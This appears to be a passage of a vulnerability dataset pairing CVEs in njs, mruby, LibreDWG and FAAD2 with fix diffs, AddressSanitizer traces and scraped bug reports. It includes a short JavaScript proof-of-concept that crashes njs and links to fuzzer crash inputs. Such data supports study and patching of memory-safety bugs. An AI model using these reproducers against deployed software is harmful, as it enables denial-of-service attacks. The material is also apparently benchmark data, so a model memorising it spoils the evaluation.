#4 0x553f76 in njs_error_to_string2 /root/njs/src/njs_error.c:619:11
#5 0x55528d in njs_error_prototype_to_string /root/njs/src/njs_error.c:682:12
#6 0x53ff0a in njs_function_native_call /root/njs/src/njs_function.c:645:11
#7 0x53ef49 in njs_function_frame_invoke /root/njs/src/njs_function.c:692:16
#8 0x53ee73 in njs_function_call2 /root/njs/src/njs_function.c:513:12
#9 0x4d5b96 in njs_function_apply /root/njs/src/njs_function.h:192:12
#10 0x4d5b96 in njs_value_to_primitive /root/njs/src/njs_value.c:167:23
#11 0x554976 in njs_value_to_string /root/njs/src/njs_value_conversion.h:189:19
#12 0x554976 in njs_error_constructor /root/njs/src/njs_error.c:309:19
#13 0x53ff0a in njs_function_native_call /root/njs/src/njs_function.c:645:11
#14 0x53ef49 in njs_function_frame_invoke /root/njs/src/njs_function.c:692:16
#15 0x4e77c2 in njs_vmcode_interpreter /root/njs/src/njs_vmcode.c:1512:15
#16 0x4de86a in njs_vm_start /root/njs/src/njs_vm.c:553:11
#17 0x4cad73 in njs_process_script /root/njs/src/njs_shell.c:952:19
#18 0x4cb556 in njs_process_file /root/njs/src/njs_shell.c:678:11
#19 0x4c94be in main /root/njs/src/njs_shell.c:335:15
#20 0x7f4f0bc58c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#21 0x41f1d9 in _start (/root/njs/build/njs+0x41f1d9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/njs/src/njs_function.h:155:9 in njs_function_frame | === https://github.com/nginx/njs/issues/617 ===
Title: SEGV src/njs_function.h:155:9 in njs_function_frame
---
Body:
Environment
```
commit: 4c1e23326e1c30e4e051bf588bfc1aaa63954976
version: 0.7.10
Build :
./configure --cc=clang --address-sanitizer=YES
make
```
Poc
```js
const v1 = EvalError(EvalError);
Object.defineProperty(v1, "message", { configurable: true, set: EvalError });
delete v1.message;
EvalError(v1);
```
Asan
```
==31577==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000030 (pc 0x00000053ee4e bp 0x7ffc9539f0f0 sp 0x7ffc9539f0d0 T0)
==31577==The signal is caused by a READ memory access.
==31577==Hint: address points to the zero page.
#0 0x53ee4e in njs_function_frame /root/njs/src/njs_function.h:155:9
#1 0x53ee4e in njs_function_call2 /root/njs/src/njs_function.c:508:11
#2 0x51f100 in njs_function_apply /root/njs/src/njs_function.h:192:12
#3 0x51f100 in njs_object_property /root/njs/src/njs_object_prop.c:138:12
#4 0x553f76 in njs_error_to_string2 /root/njs/src/njs_error.c:619:11
#5 0x55528d in njs_error_prototype_to_string /root/njs/src/njs_error.c:682:12
#6 0x53ff0a in njs_function_native_call /root/njs/src/njs_function.c:645:11
#7 0x53ef49 in njs_function_frame_invoke /root/njs/src/njs_function.c:692:16
#8 0x53ee73 in njs_function_call2 /root/njs/src/njs_function.c:513:12
#9 0x4d5b96 in njs_function_apply /root/njs/src/njs_function.h:192:12
#10 0x4d5b96 in njs_value_to_primitive /root/njs/src/njs_value.c:167:23
#11 0x554976 in njs_value_to_string /root/njs/src/njs_value_conversion.h:189:19
#12 0x554976 in njs_error_constructor /root/njs/src/njs_error.c:309:19
#13 0x53ff0a in njs_function_native_call /root/njs/src/njs_function.c:645:11
#14 0x53ef49 in njs_function_frame_invoke /root/njs/src/njs_function.c:692:16
#15 0x4e77c2 in njs_vmcode_interpreter /root/njs/src/njs_vmcode.c:1512:15
#16 0x4de86a in njs_vm_start /root/njs/src/njs_vm.c:553:11
#17 0x4cad73 in njs_process_script /root/njs/src/njs_shell.c:952:19
#18 0x4cb556 in njs_process_file /root/njs/src/njs_shell.c:678:11
#19 0x4c94be in main /root/njs/src/njs_shell.c:335:15
#20 0x7f4f0bc58c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#21 0x41f1d9 in _start (/root/njs/build/njs+0x41f1d9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/njs/src/njs_function.h:155:9 in njs_function_frame
```
| https://nvd.nist.gov/vuln/detail/CVE-2023-27727 | |
mruby.cve-2022-0717 | Out-of-bounds Read in GitHub repository mruby/mruby prior to 3.2. | https://huntr.dev/bounties/27a851a5-7ebf-409b-854f-b2614771e8f9 | https://github.com/mruby/mruby/commit/f72315575f78a9a773adbce0ee7d3ec33434cb76 | CWE-125 | mruby/mruby | f72315575f78a9a773adbce0ee7d3ec33434cb76~1 | diff --git a/mrbgems/mruby-compiler/core/codegen.c b/mrbgems/mruby-compiler/core/codegen.c
index 729f575661..37b1307e65 100644
--- a/mrbgems/mruby-compiler/core/codegen.c
+++ b/mrbgems/mruby-compiler/core/codegen.c
@@ -1904,8 +1904,12 @@ gen_assignment(codegen_scope *s, node *tree, node *rhs, int sp, int val)
if (val) {
gen_move(s, top, cursp(), 1);
}
- if (n < 14) {
+ if (n < 15) {
n++;
+ if (n == 15) {
+ pop_n(14);
+ genop_2(s, OP_ARRAY, cursp(), 15);
+ }
}
else {
pop();
| ASan (inferred) | https://nvd.nist.gov/vuln/detail/CVE-2022-0717 | |||
libredwg.cve-2020-6614 | GNU LibreDWG 0.9.3.2564 has a heap-based buffer over-read in bfr_read in decode.c. | https://github.com/LibreDWG/libredwg/issues/179#issuecomment-570447068 | https://github.com/LibreDWG/libredwg/commit/25228ca37c7489bce0255dd0cfc5e1507a6c1eea | CWE-125 | LibreDWG/libredwg | 3f515d52954e2ec009a2508d3d5be04e3bcc094b | diff --git a/src/decode.c b/src/decode.c
index 205056abe1..f62dbed3e7 100644
--- a/src/decode.c
+++ b/src/decode.c
@@ -2050,7 +2050,7 @@ read_R2004_section_info (Bit_Chain *restrict dat, Dwg_Data *restrict dwg,
uint64_t sum_decomp = 0;
uint64_t prev_address = 0;
- if (ptr + 64 >= decomp_end)
+ if (ptr + 32 + 64 >= decomp_end)
{
free (decomp);
dwg->header.section_infohdr.num_desc = i;
| https://github.com/LibreDWG/libredwg/issues/179#issuecomment-570447068 | === https://github.com/LibreDWG/libredwg/issues/179#issuecomment-570447068 ===
Title: Several bugs found by fuzzing
---
Body:
Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: ./dwg2svg2 $PoC
**1.heap-buffer-overflow in read_pages_map ../../src/decode_r2007.c:1007**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_0.9.3.2564/id:000239%2Csig:06%2Csrc:007083%2Cop:havoc%2Crep:4
ASAN says:
```
==4335==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000000258 at pc 0x55f9e1e04e05 bp 0x7ffc92f94a40 sp 0x7ffc92f94a30
READ of size 8 at 0x611000000258 thread T0
#0 0x55f9e1e04e04 in read_pages_map ../../src/decode_r2007.c:1007
#1 0x55f9e1e04e04 in read_r2007_meta_data ../../src/decode_r2007.c:1774
#2 0x55f9e1dd66d7 in decode_R2007 ../../src/decode.c:2973
#3 0x55f9e1dd66d7 in dwg_decode ../../src/decode.c:241
#4 0x55f9e177b466 in dwg_read_file ../../src/dwg.c:210
#5 0x55f9e1776d4b in test_SVG ../../examples/dwg2svg2.c:116
#6 0x55f9e1776d4b in main ../../examples/dwg2svg2.c:501
#7 0x7f595f806b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#8 0x55f9e17779a9 in _start (/home/user/linhlhq/libredwg/asan_build/examples/dwg2svg2+0x2d59a9)
0x61100000025c is located 0 bytes to the right of 220-byte region [0x611000000180,0x61100000025c)
allocated by thread T0 here:
#0 0x7f5960052d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x55f9e1de73be in read_system_page ../../src/decode_r2007.c:635
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../src/decode_r2007.c:1007 in read_pages_map
Shadow bytes around the buggy address:
0x0c227fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c227fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c227fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c227fff8020: 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa fa
0x0c227fff8030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c227fff8040: 00 00 00 00 00 00 00 00 00 00 00[04]fa fa fa fa
0x0c227fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==4335==ABORTING
```
---
Comment #1 by linhlhq:
**2.heap-buffer-overflow in bit_search_sentinel ../../src/bits.c:1844**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_0.9.3.2564/id:000361%2Csig:06%2Csrc:001213%2B008342%2Cop:splice%2Crep:4
ASAN says:
```
READ of size 1 at 0x7f8f1c662900 thread T0
#0 0x556621519ff4 in bit_search_sentinel ../../src/bits.c:1844
#1 0x556621ae0a78 in decode_R13_R2000 ../../src/decode.c:1437
#2 0x556621b0cd42 in dwg_decode ../../src/decode.c:239
#3 0x5566214b2466 in dwg_read_file ../../src/dwg.c:210
#4 0x5566214add4b in test_SVG ../../examples/dwg2svg2.c:116
#5 0x5566214add4b in main ../../examples/dwg2svg2.c:501
#6 0x7f8f1ae29b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#7 0x5566214ae9a9 in _start (/home/user/linhlhq/libredwg/asan_build/examples/dwg2svg2+0x2d59a9)
0x7f8f1c662900 is located 0 bytes to the right of 401664-byte region [0x7f8f1c600800,0x7f8f1c662900)
allocated by thread T0 here:
#0 0x7f8f1b675d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x5566214b234c in dat_read_file ../../src/dwg.c:73
#2 0x5566214b234c in dwg_read_file ../../src/dwg.c:203
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../src/bits.c:1844 in bit_search_sentinel
Shadow bytes around the buggy address:
0x0ff2638c44d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff2638c44e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff2638c44f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff2638c4500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff2638c4510: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ff2638c4520:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff2638c4530: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff2638c4540: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff2638c4550: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff2638c4560: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff2638c4570: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==4471==ABORTING
```
---
Comment #2 by linhlhq:
**3.heap-buffer-overflow in bfr_read ../../src/decode.c:1548**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_0.9.3.2564/id:000328%2Csig:06%2Csrc:007279%2Cop:havoc%2Crep:8
ASAN says:
```
==4589==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61b0000014f4 at pc 0x7fe367220733 bp 0x7fff95bb63e0 sp 0x7fff95bb5b88
READ of size 96 at 0x61b0000014f4 thread T0
#0 0x7fe367220732 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
#1 0x559f5ee1a6a9 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#2 0x559f5ee1a6a9 in bfr_read ../../src/decode.c:1548
#3 0x559f5ee1a6a9 in read_R2004_section_info ../../src/decode.c:2062
#4 0x559f5f3e2392 in decode_R2004 ../../src/decode.c:2910
#5 0x559f5f3eac7d in dwg_decode ../../src/decode.c:245
#6 0x559f5ed90466 in dwg_read_file ../../src/dwg.c:210
#7 0x559f5ed8bd4b in test_SVG ../../examples/dwg2svg2.c:116
#8 0x559f5ed8bd4b in main ../../examples/dwg2svg2.c:501
#9 0x7fe366a39b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#10 0x559f5ed8c9a9 in _start (/home/user/linhlhq/libredwg/asan_build/examples/dwg2svg2+0x2d59a9)
0x61b0000014f4 is located 0 bytes to the right of 1652-byte region [0x61b000000e80,0x61b0000014f4)
allocated by thread T0 here:
#0 0x7fe367285d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x559f5ee1a1e7 in read_R2004_section_info ../../src/decode.c:2007
#2 0x2ddf1 (<unknown module>)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
Shadow bytes around the buggy address:
0x0c367fff8240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fff8250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fff8260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fff8270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fff8280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c367fff8290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00[04]fa
0x0c367fff82a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fff82b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fff82c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fff82d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fff82e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==4589==ABORTING
```
---
Comment #3 by linhlhq:
**4.Crafted input will lead to Memory allocation failed in read_sections_map ../../src/decode_r2007.c:917**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_0.9.3.2564/id:000271%2Csig:06%2Csrc:007728%2Cop:havoc%2Crep:2
ASAN says:
```
==4839==ERROR: AddressSanitizer failed to allocate 0x6e0002000 (29527908352) bytes of LargeMmapAllocator (error code: 12)
==4839==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x561598094000-0x561598fd9000 /home/user/linhlhq/libredwg/asan_build/examples/dwg2svg2
0x5615991d9000-0x5615991f1000 /home/user/linhlhq/libredwg/asan_build/examples/dwg2svg2
0x5615991f1000-0x5615992b7000 /home/user/linhlhq/libredwg/asan_build/examples/dwg2svg2
......
0x7feefb0c4000-0x7feefb0c8000
0x7feefb0c8000-0x7feefb0cf000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7feefb0cf000-0x7feefb2ce000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7feefb2ce000-0x7feefb2cf000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7feefb2cf000-0x7feefb2d0000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7feefb2d0000-0x7feefb2d3000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7feefb2d3000-0x7feefb4d2000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7feefb4d2000-0x7feefb4d3000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7feefb4d3000-0x7feefb4d4000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7feefb4d4000-0x7feefb6bb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7feefb6bb000-0x7feefb8bb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7feefb8bb000-0x7feefb8bf000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7feefb8bf000-0x7feefb8c1000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7feefb8c1000-0x7feefb8c5000
0x7feefb8c5000-0x7feefba62000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7feefba62000-0x7feefbc61000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7feefbc61000-0x7feefbc62000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7feefbc62000-0x7feefbc63000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7feefbc63000-0x7feefbdb3000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7feefbdb3000-0x7feefbfb3000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7feefbfb3000-0x7feefbfb6000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7feefbfb6000-0x7feefbfb9000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7feefbfb9000-0x7feefcc1e000
0x7feefcc1e000-0x7feefcc45000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7feefccaa000-0x7feefce38000
0x7feefce38000-0x7feefce45000
0x7feefce45000-0x7feefce46000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7feefce46000-0x7feefce47000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7feefce47000-0x7feefce48000
0x7ffe47737000-0x7ffe47758000 [stack]
0x7ffe477e4000-0x7ffe477e7000 [vvar]
0x7ffe477e7000-0x7ffe477e9000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==4839==End of process memory map.
==4839==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7feefbd4cc02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7feefbd6b595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7feefbd56492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7feefbd628a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7feefbc8f8f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7feefbc8a04b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2704b)
#6 0x7feefbd41d00 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded00)
#7 0x5615989dad4d in read_sections_map ../../src/decode_r2007.c:917
#8 0x5615989ecaee in read_r2007_meta_data ../../src/decode_r2007.c:1800
#9 0x5615989c86d7 in decode_R2007 ../../src/decode.c:2973
#10 0x5615989c86d7 in dwg_decode ../../src/decode.c:241
#11 0x56159836d466 in dwg_read_file ../../src/dwg.c:210
#12 0x561598368d4b in test_SVG ../../examples/dwg2svg2.c:116
#13 0x561598368d4b in main ../../examples/dwg2svg2.c:501
#14 0x7feefb4f5b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#15 0x5615983699a9 in _start (/home/user/linhlhq/libredwg/asan_build/examples/dwg2svg2+0x2d59a9)
```
---
Comment #4 by linhlhq:
**5.heap-buffer-overflow in copy_compressed_bytes ../../src/decode_r2007.c:233**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_0.9.3.2564/id:000426%2Csig:06%2Csrc:009599%2Cop:havoc%2Crep:8
ASAN says:
```
==4975==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x629000009e7c at pc 0x564f138ce00b bp 0x7ffcab4ef510 sp 0x7ffcab4ef500
READ of size 8 at 0x629000009e7c thread T0
#0 0x564f138ce00a in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#1 0x564f138ce00a in copy_compressed_bytes ../../src/decode_r2007.c:233
#2 0x564f138ce00a in decompress_r2007 ../../src/decode_r2007.c:519
#3 0x564f138d42c7 in read_data_page ../../src/decode_r2007.c:694
#4 0x564f138d42c7 in read_data_section ../../src/decode_r2007.c:758
#5 0x564f138e1c04 in read_2007_section_handles ../../src/decode_r2007.c:1544
#6 0x564f138e1c04 in read_r2007_meta_data ../../src/decode_r2007.c:1811
#7 0x564f138bd6d7 in decode_R2007 ../../src/decode.c:2973
#8 0x564f138bd6d7 in dwg_decode ../../src/decode.c:241
#9 0x564f13262466 in dwg_read_file ../../src/dwg.c:210
#10 0x564f1325dd4b in test_SVG ../../examples/dwg2svg2.c:116
#11 0x564f1325dd4b in main ../../examples/dwg2svg2.c:501
#12 0x7f78102e7b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#13 0x564f1325e9a9 in _start (/home/user/linhlhq/libredwg/asan_build/examples/dwg2svg2+0x2d59a9)
0x629000009e7c is located 2 bytes to the right of 19578-byte region [0x629000005200,0x629000009e7a)
allocated by thread T0 here:
#0 0x7f7810b33d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x564f138d3d31 in decode_rs ../../src/decode_r2007.c:580
#2 0x564f138d3d31 in read_data_page ../../src/decode_r2007.c:689
#3 0x564f138d3d31 in read_data_section ../../src/decode_r2007.c:758
SUMMARY: AddressSanitizer: heap-buffer-overflow /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 in memcpy
Shadow bytes around the buggy address:
0x0c527fff9370: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff9380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff9390: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff93a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff93b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c527fff93c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00[02]
0x0c527fff93d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff93e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff93f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff9400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff9410: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==4975==ABORTING
```
---
Comment #5 by linhlhq:
**6.NULL pointer dereference in get_next_owned_entity ../../src/dwg.c:935**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_0.9.3.2564/id:000113%2Csig:06%2Csrc:000000%2Cop:flip2%2Cpos:398289
ASAN says:
```
=================================================================
==5183==ERROR: AddressSanitizer: SEGV on unknown address 0x0000000000b0 (pc 0x55c862f1795c bp 0x0c680000057d sp 0x7ffc02b51490 T0)
==5183==The signal is caused by a READ memory access.
==5183==Hint: address points to the zero page.
#0 0x55c862f1795b in get_next_owned_entity ../../src/dwg.c:935
#1 0x55c862f0814b in output_BLOCK_HEADER ../../examples/dwg2svg2.c:347
#2 0x55c862f07078 in output_SVG ../../examples/dwg2svg2.c:395
#3 0x55c862f07078 in test_SVG ../../examples/dwg2svg2.c:118
#4 0x55c862f07078 in main ../../examples/dwg2svg2.c:501
#5 0x7fd3ed723b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#6 0x55c862f079a9 in _start (/home/user/linhlhq/libredwg/asan_build/examples/dwg2svg2+0x2d59a9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ../../src/dwg.c:935 in get_next_owned_entity
==5183==ABORTING
```
---
Comment #6 by linhlhq:
**7.NULL pointer dereference in dwg_dynapi_entity_value /home/user/linhlhq/libredwg/asan_build/src/gen-dynapi.pl:1395**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_0.9.3.2564/id:000026%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:132007
ASAN says:
```
=================================================================
==5356==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (pc 0x7f0447efc57e bp 0x7ffe6ac888f0 sp 0x7ffe6ac88058 T0)
==5356==The signal is caused by a READ memory access.
==5356==Hint: address points to the zero page.
#0 0x7f0447efc57d (/lib/x86_64-linux-gnu/libc.so.6+0xbb57d)
#1 0x7f04486496ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce)
#2 0x56329a7c1785 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#3 0x56329a7c1785 in dwg_dynapi_entity_value /home/user/linhlhq/libredwg/asan_build/src/gen-dynapi.pl:1395
#4 0x563299fbaf1f in output_BLOCK_HEADER ../../examples/dwg2svg2.c:335
#5 0x563299fba078 in output_SVG ../../examples/dwg2svg2.c:395
#6 0x563299fba078 in test_SVG ../../examples/dwg2svg2.c:118
#7 0x563299fba078 in main ../../examples/dwg2svg2.c:501
#8 0x7f0447e62b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#9 0x563299fba9a9 in _start (/home/user/linhlhq/libredwg/asan_build/examples/dwg2svg2+0x2d59a9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb57d)
==5356==ABORTING
```
---
Comment #7 by rurban:
Thanks, but dwg2svg2 is not even installed. cannot you just fuzz the official dwg2SVG instead?
Which master exactly? I'm assuming tag 0.9.3.2564. I'm constantly fixing fuzzing bugs right now, just >300 in the last 2 days. | https://nvd.nist.gov/vuln/detail/CVE-2020-6614 | ||
faad2.cve-2018-20195 | A NULL pointer dereference was discovered in ic_predict of libfaad/ic_predict.c in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. The vulnerability causes a segmentation fault and application crash, which leads to denial of service. | https://github.com/knik0/faad2/issues/25 | CWE-476 | knik0/faad2 | https://github.com/knik0/faad2/issues/25, https://seclists.org/bugtraq/2019/Sep/28 | ==7073==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f440069b99e bp 0x7ffe0d2d4b70 sp 0x7ffe0d2d49f0 T0)
#0 0x7f440069b99d in ic_predict /root/faad2_asan/libfaad/ic_predict.c:96
#1 0x7f440069cbc0 in ic_prediction /root/faad2_asan/libfaad/ic_predict.c:252
#2 0x7f44006d0a14 in reconstruct_channel_pair /root/faad2_asan/libfaad/specrec.c:1189
#3 0x7f44006d8823 in channel_pair_element /root/faad2_asan/libfaad/syntax.c:759
#4 0x7f44006d6cbf in decode_cpe /root/faad2_asan/libfaad/syntax.c:402
#5 0x7f44006d7398 in raw_data_block /root/faad2_asan/libfaad/syntax.c:448
#6 0x7f44006919c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#7 0x7f4400691566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
#8 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#9 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#10 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#11 0x7f44002c982f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#12 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/faad2_asan/libfaad/ic_predict.c:96 ic_predict
==7073==ABORTING | === https://github.com/knik0/faad2/issues/25 ===
Title: Null pointer dereference vulnerability in ic_predict (libfaad/ic_predict.c:96)
---
Body:
Hi, i found a null pointer dereference bug in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. It crashed in function ic_predict .the details are below(ASAN):
```
./faad faad_res/005-null-point-ic_predict_96 -o out.wav
*********** Ahead Software MPEG-4 AAC Decoder V2.8.8 ******************
Build: Dec 13 2018
Copyright 2002-2004: Ahead Software AG
http://www.audiocoding.com
